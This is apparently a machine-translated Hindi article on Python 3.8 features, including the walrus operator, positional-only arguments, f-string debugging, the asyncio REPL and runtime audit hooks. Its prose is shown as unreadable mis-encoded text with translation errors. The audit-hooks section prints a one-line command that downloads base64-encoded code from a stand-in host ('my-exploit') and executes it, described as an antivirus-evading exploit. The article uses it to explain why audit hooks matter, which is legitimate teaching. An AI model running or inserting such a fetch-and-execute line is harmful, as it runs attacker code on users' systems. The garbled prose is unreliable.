рдкрд╛рдпрдерди 3.8: рдирдпрд╛ рдХреНрдпрд╛ рд╣реИ рдФрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд░реЗрдВ?

рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЕрдиреБрд╡рд╛рдж рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЕрдЬрдЧрд░ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ рдХрд┐рдП рдЧрдП рд╣реИрдВ рдЬреЛ рдирдП рдкрд╛рдпрдерди 3.8 рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ рдкрдврд╝рдиреЗ рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦрддреЗ рд╣реИрдВред "рдкрд╛рдпрдерди рдбреЗрд╡рд▓рдкрд░" рдкрд╛рдареНрдпрдХреНрд░рдо рдкрд░ рдПрдХ рдирдП рд╕реВрддреНрд░ рдХреЗ рд▓реЙрдиреНрдЪ рдХреА рдкреНрд░рддреНрдпрд╛рд╢рд╛ рдореЗрдВ , рд╣рдо рдЗрд╕ рд╡рд┐рд╖рдп рдХреЛ рдирд╣реАрдВ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред

рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ, рд╣рдо рдЙрди рдирдИ рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╛рдд рдХрд░реЗрдВрдЧреЗ рдЬреЛ рдкрд╛рдпрдерди 3.8 рдореЗрдВ рдкреЗрд╢ рдХреА рдЧрдИ рдереАрдВред




рд╡рд╛рд▓рд░рд╕ рдСрдкрд░реЗрдЯрд░ (рдЕрд╕рд╛рдЗрдирдореЗрдВрдЯ рдСрдкрд░реЗрдЯрд░)


рд╣рдо рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк рдЗрд╕рдХреЗ рд▓рд┐рдП рдЗрдВрддрдЬрд╛рд░ рдХрд░ рд░рд╣реЗ рдереЗред рдпрд╣ рдЙрдореНрдореАрдж рдЙрди рджрд┐рдиреЛрдВ рдХреА рд╣реИ рдЬрдм рдкрд╛рдпрдерди рдХреЛ рддреБрд▓рдирд╛рддреНрдордХ рдСрдкрд░реЗрдЯрд░ рдХреЗ рд░реВрдк рдореЗрдВ "=" рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд╛рдирдмреВрдЭрдХрд░ рдордирд╛ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдХреБрдЫ рд▓реЛрдЧреЛрдВ рдиреЗ рдЗрд╕реЗ рдкрд╕рдВрдж рдХрд┐рдпрд╛ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рдЕрдм рдЕрд╕рд╛рдЗрдирдореЗрдВрдЯ рдФрд░ рддреБрд▓рдирд╛ рдореЗрдВ = = = рднреНрд░рдорд┐рдд рдирд╣реАрдВ рд╣реБрдПред рдЕрдиреНрдп рд▓реЛрдЧреЛрдВ рдиреЗ рдСрдкрд░реЗрдЯрд░ рдХреЛ рджреЛрд╣рд░рд╛рдирд╛, рдпрд╛ рдЙрд╕реЗ рдХрд┐рд╕реА рдЪрд░ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдирд╛ рдЕрд╕рд╣рдЬ рдкрд╛рдпрд╛ред рдЪрд▓рд┐рдП рдПрдХ рдЙрджрд╛рд╣рд░рдг рдкрд░ рдЪрд▓рддреЗ рд╣реИрдВред

рдЧреБрдЗрдбреЛ рдХреЗ рдЕрдиреБрд╕рд╛рд░, рдЕрдзрд┐рдХрд╛рдВрд╢ рдкреНрд░реЛрдЧреНрд░рд╛рдорд░ рд▓рд┐рдЦрддреЗ рд╣реИрдВ:

group = re.match(data).group(1) if re.match(data) else None 

рдХреЗ рдмрджрд▓реЗ

 match = re.match(data) group = match.group(1) if match else None 

рдпрд╣ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рдзреАрдорд╛ рдмрдирд╛рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐ рдпрд╣ рд╕рдордЭ рдореЗрдВ рдЖрддрд╛ рд╣реИ рдХрд┐ рдХреБрдЫ рдкреНрд░реЛрдЧреНрд░рд╛рдорд░ рдЕрднреА рднреА рдкрд╣рд▓реЗ рддрд░реАрдХреЗ рд╕реЗ рдХреНрдпреЛрдВ рдирд╣реАрдВ рд▓рд┐рдЦрддреЗ рд╣реИрдВ - рдпрд╣ рдХреЛрдб рдХреЛ рдХрд╛рдЯрддрд╛ рд╣реИред

рдЕрдм рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдРрд╕рд╛ рдХрд░рдиреЗ рдХрд╛ рдЕрд╡рд╕рд░ рд╣реИ:

 group = match.group(1) if (match := re.match(data)) else None 

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЕрдЧрд░ рдпрд╣ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╕рдордп рдЙрдкрдпреЛрдЧреА рд╣реИ, рддреЛ рд╕рдм рдХреБрдЫ рдЕрдЧреНрд░рд┐рдо рдореЗрдВ рдЧрдгрдирд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд╣реАрдВред

 match1 = pattern1.match(data) match2 = pattern2.match(data) if match1: result = match1.group(1) elif match2: result = match2.group(2) else: result = None 

рдФрд░ рдЗрд╕рдХреЗ рдмрдЬрд╛рдп, рд╣рдо рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ:

 if (match1 := pattern1.match(data)): result = match1.group(1) elif (match2 := pattern2.match(data)): result = match2.group(2) else: result = None 

рдЬреЛ рдЕрдзрд┐рдХ рдЗрд╖реНрдЯрддрдо рд╣реИ, рджреВрд╕рд░реЗ рдХреЗ рдмрд╛рдж рд╕реЗ рдЕрдЧрд░ рдкрд╣рд▓реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рддреЛ рд╡рд┐рдЪрд╛рд░ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред

рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдореИрдВ PEP-572 рдорд╛рдирдХ рд╕реЗ рдмрд╣реБрдд рдкреНрд░рд╕рдиреНрди рд╣реВрдВ, рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рди рдХреЗрд╡рд▓ рдкрд╣рд▓реЗ рд╕реЗ рдореМрдЬреВрдж рдЧреИрд░-рдореМрдЬреВрдж рдЕрд╡рд╕рд░ рджреЗрддрд╛ рд╣реИ, рдмрд▓реНрдХрд┐ рдЗрд╕рдХреЗ рд▓рд┐рдП рдПрдХ рдЕрд▓рдЧ рдСрдкрд░реЗрдЯрд░ рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЗрд╕реЗ == рдХреЗ рд╕рд╛рде рднреНрд░рдорд┐рдд рдХрд░рдирд╛ рдЖрд╕рд╛рди рдирд╣реАрдВ рд╣реЛрдЧрд╛ред

рд╣рд╛рд▓рд╛рдВрдХрд┐, рдПрдХ рд╣реА рд╕рдордп рдореЗрдВ, рдпрд╣ рддреНрд░реБрдЯрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдирдП рдЕрд╡рд╕рд░ рдФрд░ рдкрд╣рд▓реЗ рдХреЗ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХреЛрдб рдХреЗ рдирд┐рд░реНрдорд╛рдг рдХреЛ рднреА рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред

 y0 = (y1 := f(x)) 

рд╕реНрдерд┐рддрд┐ рд╕рдВрдмрдВрдзреА рддрд░реНрдХ


 def f(a, b, /, c, d, *, e, f): print(a, b, c, d, e, f) 

рдпрд╣рд╛рдВ, рдкрд╣рд▓реЗ рд╕реЗ рд╕рдм рдХреБрдЫ / рд╕рдЦреНрддреА рд╕реЗ рд╕реНрдерд┐рддрд┐рдпрд╛рдВ рд╣реИрдВ, рдФрд░ * рдмрд╛рдж рд╕рдм рдХреБрдЫ рд╕рд┐рд░реНрдл рдХреАрд╡рд░реНрдб рд╣реИред

 f(10, 20, 30, d=40, e=50, f=60) - valid f(10, b=20, c=30, d=40, e=50, f=60) - b cannot be a keyword argument f(10, 20, 30, 40, 50, f=60) - e must be a keyword argument 

рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рджрд╛рдпрд░рд╛ рдПрдХ рд╡рд╛рдХреНрдп рдореЗрдВ рд╡реНрдпрдХреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдЕрдкрдиреЗ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдмрджрд▓рдирд╛ рдЖрд╕рд╛рди рд╣реЛрдЧрд╛ред рдЖрдЗрдП рдПрдХ рдЙрджрд╛рд╣рд░рдг рджреЗрдЦреЗрдВ:

 def add_to_queue(item: QueueItem): 

рдЕрдм рд▓реЗрдЦрдХ рдХреЛ рдЗрд╕ рддрд░рд╣ рдХреЗ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП, рдФрд░ рдкреИрд░рд╛рдореАрдЯрд░ рдирд╛рдо рдХреЛ рдЕрдм рдирд╣реАрдВ рдмрджрд▓рдирд╛ рдЪрд╛рд╣рд┐рдП, рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдкрд░рд┐рд╡рд░реНрддрди рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реЛ рдЬрд╛рдПрдЧрд╛ред рдХрд▓реНрдкрдирд╛ рдХрд░реЗрдВ рдХрд┐ рдЖрдкрдХреЛ рдХреЗрд╡рд▓ рдПрдХ рддрддреНрд╡ рдХреЛ рдмрджрд▓рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ, рд▓реЗрдХрд┐рди рддрддреНрд╡реЛрдВ рдХреА рдкреВрд░реА рд╕реВрдЪреА:

 def add_to_queue(items: Union[QueueItem, List[QueueItem]]): 

рдпрд╛ рддреЛ:

 def add_to_queue(*items: QueueItem): 

рдпрд╣ рдРрд╕рд╛ рдХреБрдЫ рд╣реИ рдЬреЛ рдЖрдк рдкрд┐рдЫрд▓реЗ рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рд╕рд╛рде рд╕рдВрднрд╛рд╡рд┐рдд рдЕрд╕рдВрдЧрддрддрд╛рдУрдВ рдХреЗ рдХрд╛рд░рдг рдкрд╣рд▓реЗ рдирд╣реАрдВ рдХрд░ рд╕рдХреЗред рдЕрдм рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрд╣ рдЙрди рдбрд┐рдЬрд╝рд╛рдЗрдиреЛрдВ рдХреЗ рд╕рд╛рде рдЕрдзрд┐рдХ рд╕реБрд╕рдВрдЧрдд рд╣реИ рдЬреЛ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдЗрд╕ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЖрдк рдкреЙрд╡ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреНрд╡рд╛рд░реНрдЧ рдкрд╛рд╕ рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗред

 >>> help(pow) ... pow(x, y, z=None, /) ... >>> pow(x=5, y=3) Traceback (most recent call last): File "<stdin>", line 1, in <module> TypeError: pow() takes no keyword arguments 

рдПрдл-рд▓рд╛рдЗрдиреЛрдВ рдХреЗ рд╕рд╛рде рдбрд┐рдмрдЧрд┐рдВрдЧ


рдПрдХ рдЫреЛрдЯрд╛ рдЕрддрд┐рд░рд┐рдХреНрдд рдлрд╝рдВрдХреНрд╢рди рдЬреЛ рд╣рдореЗрдВ "рд╡реИрд░рд┐рдПрдмрд▓ рдиреЗрдо =" рд╡реЗрд░рд┐рдПрдмрд▓ рдХреЗ рдХреЙрдореНрдкреИрдХреНрдЯ рд░рд┐рдХреЙрд░реНрдбрд┐рдВрдЧ рдлреЙрд░реНрдореЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИред

 f"{chr(65) = }" => "chr(65) = 'A'" 

рдХреНрдпрд╛ рдЖрдкрдиреЗ chr (65) рдХреЗ рдмрд╛рдж рдЗрд╕ рдкрд░ рдзреНрдпрд╛рди рджрд┐рдпрд╛? рд╡рд╣реА рдЪрд╛рд▓ред рдпрд╣ рдПрдл-рд▓рд╛рдЗрдиреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЪрд░ рдкреНрд░рд┐рдВрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЫреЛрдЯрд╛ рд░рд╛рд╕реНрддрд╛ рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИред

рджреЗрд╢реА рдПрд╕рд┐рдВрд╕реАрдУ рдЦреЛрд▓


рдЕрдм рдЕрдЧрд░ рд╣рдо рдкрд╛рдпрдерди рд╢реЗрд▓ рдХреЛ 'рдЕрдЬрдЧрд░-рдПрдо рдПрд╕рд┐рдВрд╕реАрдУ' рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рд╛рддреЗ рд╣реИрдВ, рддреЛ рд╣рдореЗрдВ рдПрд╕рд┐рдВрдХреНрд░реЛрдирд╕ рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдм asyncio.run() рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред Await рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕реАрдзреЗ рд╢реЗрд▓ рд╕реЗ рд╣реА рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

 >python -m asyncio asyncio REPL 3.8.0b4 Use тАЬawaitтАЭ directly instead of тАЬasyncio.run()тАЭ. Type тАЬhelpтАЭ, тАЬcopyrightтАЭ, тАЬcreditsтАЭ or тАЬlicenseтАЭ for more information. >>> import asyncio >>> async def test(): тАж await asyncio.sleep(1) тАж return 'hello' тАж >>> await test() 'hello' 

рдкрд╛рдпрдерди рдХреЙрд▓ рд░рдирдЯрд╛рдЗрдо рдСрдбрд┐рдЯ рдХрд░рддрд╛ рд╣реИ


Python Rantime C. рдкрд░ рдмрд╣реБрдд рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЗрд╕рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХреЛрдб рдХрд┐рд╕реА рднреА рддрд░рд╣ рд╕реЗ рд▓реЙрдЧ рдпрд╛ рдЯреНрд░реИрдХ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рдЪреМрдЦрдЯреЗ рдХреЗ рд╕рдВрдЪрд╛рд▓рди рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░рдирд╛ рдореБрд╢реНрдХрд┐рд▓ рдмрдирд╛рддрд╛ рд╣реИ, рд▓реЙрдЧрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдЪреМрдЦрдЯреЗ, рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрдХрд░рдг рдФрд░ рд╕рдВрднрд╡рддрдГ, рд░рдирдЯрд╛рдЗрдо рджреНрд╡рд╛рд░рд╛ рдХрд┐рдП рдЧрдП рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рд╕реАрдорд┐рдд рдХрд░рддрд╛ рд╣реИред

рдЕрдм рдЖрдк рдореЙрдбреНрдпреВрд▓ рдЖрдпрд╛рдд рдкреНрд░рдгрд╛рд▓реА рдХреЗ рд╕рдВрдЪрд╛рд▓рди рдФрд░ рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╣реБрдХ рд╕рд╣рд┐рдд рд░рдирдЯрд╛рдЗрдо рджреНрд╡рд╛рд░рд╛ рдЯреНрд░рд┐рдЧрд░ рдХреА рдЧрдИ рдШрдЯрдирд╛рдУрдВ рдХрд╛ рдЕрд╡рд▓реЛрдХрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдирдпрд╛ рдПрдкреАрдЖрдИ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд╣реИ:

 # Add an auditing hook sys.addaudithook(hook: Callable[[str, tuple]]) # Raise an event with all auditing hooks sys.audit(str, *args) 

рд╣реБрдХ рдХреЛ рд╣рдЯрд╛рдпрд╛ рдпрд╛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╕реАрдкреАрдереЙрди рдХреЗ рд▓рд┐рдП, рд╕реА рд╕реЗ рдЖрдиреЗ рд╡рд╛рд▓реЗ рд╣реБрдХ рдХреЛ рд╡реИрд╢реНрд╡рд┐рдХ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрдмрдХрд┐ рдкрд╛рдпрдерди рд╕реЗ рдЖрдиреЗ рд╡рд╛рд▓реЗ рд╣реБрдХ рдХреЗрд╡рд▓ рд╡рд░реНрддрдорд╛рди рджреБрднрд╛рд╖рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рд╣реИрдВред рдЗрдВрдЯрд░рдкреНрд░реЗрдЯрд░ рд╣реБрдХ рд╕реЗ рдкрд╣рд▓реЗ рдЧреНрд▓реЛрдмрд▓ рд╣реБрдХ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред

рдПрдХ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рджрд┐рд▓рдЪрд╕реНрдк рдФрд░ рдЧреИрд░-рдЯреНрд░реИрдХ рдХрд┐рдП рдЧрдП рд╢реЛрд╖рдг рдЗрд╕ рддрд░рд╣ рджрд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ:

 python -c тАЬimport urllib.request, base64; exec(base64.b64decode( urllib.request.urlopen('http://my-exploit/py.b64') ).decode())тАЭ 

рдпрд╣ рдХреЛрдб рдЕрдзрд┐рдХрд╛рдВрд╢ рдПрдВрдЯреАрд╡рд╛рдпрд░рд╕ рдкреНрд░реЛрдЧреНрд░рд╛рдо рджреНрд╡рд╛рд░рд╛ рд╕реНрдХреИрди рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рдкрд╣рдЪрд╛рдирдиреЗ рдпреЛрдЧреНрдп рдХреЛрдб рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ рдбрд┐рд╕реНрдХ рдкрд░ рд▓реЛрдб рд╣реЛрдиреЗ рдФрд░ рд▓рд┐рдЦрдиреЗ рдХреЗ рджреМрд░рд╛рди рдкрдврд╝рд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдмреЗрд╕ 64 рдЗрд╕ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдЖрд╕рдкрд╛рд╕ рдкрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╣реИред рдпрд╣ рдХреЛрдб рд╕реБрд░рдХреНрд╖рд╛ рд╕реНрддрд░ рднреА рдкрд╛рд╕ рдХрд░реЗрдЧрд╛ рдЬреИрд╕реЗ рдлрд╝рд╛рдЗрд▓ рдПрдХреНрд╕реЗрд╕ рдХрдВрдЯреНрд░реЛрд▓ рд▓рд┐рд╕реНрдЯ рдпрд╛ рдЕрдиреБрдорддрд┐рдпрд╛рдБ (рдЬрдм рдлрд╝рд╛рдЗрд▓ рдПрдХреНрд╕реЗрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реЛрддреА рд╣реИ), рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕реВрдЪрд┐рдпрд╛рдБ (рдпрд╣ рдорд╛рдирддреЗ рд╣реБрдП рдХрд┐ рдкрд╛рдпрдерди рдХреЗ рдкрд╛рд╕ рд╕рднреА рдЖрд╡рд╢реНрдпрдХ рдЕрдиреБрдорддрд┐рдпрд╛рдВ рд╣реИрдВ), рдФрд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдСрдбрд┐рдЯрд┐рдВрдЧ рдпрд╛ рд▓реЙрдЧрд┐рдВрдЧ (рдкреНрд░рджрд╛рди рдХреА рдЧрдИ рд╣реИ) рдкрд╛рдпрдерди рдореЗрдВ рдЗрдВрдЯрд░рдиреЗрдЯ рддрдХ рдкрд╣реБрдВрдЪ рд╣реИ рдпрд╛ рд╕реНрдерд╛рдиреАрдп рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдХрд┐рд╕реА рдЕрдиреНрдп рдорд╢реАрди рддрдХ рдкрд╣реБрдВрдЪ рд╣реИ рдЬрд┐рд╕рдХреЗ рд╕рд╛рде рдЖрдк рдкреЗрд▓реЛрдб рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред

рд░рдирдЯрд╛рдЗрдо рдИрд╡реЗрдВрдЯ рд╣реБрдХ рдХреЗ рд╕рд╛рде, рд╣рдо рдпрд╣ рддрдп рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖ рдШрдЯрдирд╛ рдкрд░ рдХреИрд╕реЗ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рджреЗрдВред рд╣рдо рдпрд╛ рддреЛ рдШрдЯрдирд╛ рдХреЛ рдкрдВрдЬреАрдХреГрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдСрдкрд░реЗрд╢рди рдХреЛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╕рдорд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

multiprocessing.shared_memory


рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ / рджреБрднрд╛рд╖рд┐рдпреЛрдВ рд╕реЗ рдПрдХ рд╣реА рдореЗрдореЛрд░реА рдХреНрд╖реЗрддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИред рдореВрд▓ рд░реВрдк рд╕реЗ, рдпрд╣ рд╣рдореЗрдВ рд╡рд╕реНрддреБрдУрдВ рдХреЛ рдЕрдиреБрдХреНрд░рдорд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рдмреАрдЪ рдЙрдиреНрд╣реЗрдВ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд▓рдЧрдиреЗ рд╡рд╛рд▓реЗ рд╕рдордп рдХреЛ рдХрдо рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдХреНрд░рдордмрджреНрдз рдХрд░рдиреЗ, рдХрддрд╛рд░рдмрджреНрдз рдХрд░рдиреЗ, рдФрд░ deserializing рдХреЗ рдмрдЬрд╛рдп, рд╣рдо рдмрд╕ рд╕рд╛рдЭрд╛ рд╕реНрдореГрддрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рд╕реА рдЕрдиреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдЕрдЪрд╛рд░ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдФрд░ рдЖрдЙрдЯ-рдСрдл-рдмреИрдВрдб рдбреЗрдЯрд╛ рдмрдлрд╝рд░реНрд╕


рдЕрдЪрд╛рд░ 5 рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдЖрдЙрдЯ-рдСрдл-рдмреИрдВрдб рдмрдлрд╝рд░реНрд╕ рдХреЗ рд▓рд┐рдП рд╕рдорд░реНрдерди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬрд╣рд╛рдВ рдбреЗрдЯрд╛ рдореБрдЦреНрдп рдЯреНрд░рд╛рдВрд╕рдкреЛрд░реНрдЯ рдкрд░рдд рдХреЗ рд╡рд┐рд╡реЗрдХ рдкрд░ рдореБрдЦреНрдп рдЕрдЪрд╛рд░ рдзрд╛рд░рд╛ рд╕реЗ рдкреНрд░реЗрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдкрд┐рдЫрд▓реЗ 2 рдРрдб-рдСрди рдмрд╣реБрдд рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИрдВ, рд▓реЗрдХрд┐рди рд╡реЗ рдкрд╛рдпрдерди 3.8 рдХреЗ рд░рд┐рд▓реАрдЬрд╝ рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдирд╣реАрдВ рдереЗ, рдХреНрдпреЛрдВрдХрд┐ рдЕрднреА рднреА рдкреБрд░рд╛рдиреЗ рдХреЛрдб рдХреЗ рд╕рд╛рде рд╕рдВрдЧрддрддрд╛ рдХреЗ рд╕рд╛рде рдХреБрдЫ рдХрд╛рдо рдХрд░рдирд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ рдкрд╛рдпрдерди рдореЗрдВ рд╕рдорд╛рдирд╛рдВрддрд░ рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рдХреЗ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХреЛ рдмрджрд▓ рд╕рдХрддрд╛ рд╣реИред

рдЙрдк-рджреБрднрд╛рд╖рд┐рдП


рдкрд╛рдпрд▓реЛрди рдореЗрдВ рдзрд╛рдЧреЗ рдЬреАрдЖрдИрдПрд▓ рдХреЗ рдХрд╛рд░рдг рд╕рдорд╛рдирд╛рдВрддрд░ рдореЗрдВ рдирд╣реАрдВ рдЪрд▓ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрдмрдХрд┐ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рд╕рд╛рд░реЗ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рдХреЗрд╡рд▓ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ 100-200 рдПрдордПрд╕ рд▓рдЧрддреЗ рд╣реИрдВ, рдФрд░ рд╡реЗ рдмрдбрд╝реА рдорд╛рддреНрд░рд╛ рдореЗрдВ рд░реИрдо рдХрд╛ рдЙрдкрднреЛрдЧ рднреА рдХрд░рддреЗ рд╣реИрдВред рд▓реЗрдХрд┐рди рдХреБрдЫ рдЙрдирдХреЗ рд╕рд╛рде рд╕рд╛рдордирд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдпреЗ рдЙрдк-рд╡реНрдпрд╛рдЦреНрдпрд╛рдХрд╛рд░ рд╣реИрдВред рдЬреАрдЖрдИрдПрд▓ рдПрдХ рджреБрднрд╛рд╖рд┐рдпрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдпрд╣ рдЕрдиреНрдп рджреБрднрд╛рд╖рд┐рдпреЛрдВ рдХреЗ рдХрд╛рдо рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдирд╣реАрдВ рдХрд░реЗрдЧрд╛, рдФрд░ рдпрд╣ рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ рдЖрд╕рд╛рди рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ (рдпрджреНрдпрдкрд┐ рдПрдХ рдереНрд░реЗрдб рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдзреАрдореА)ред

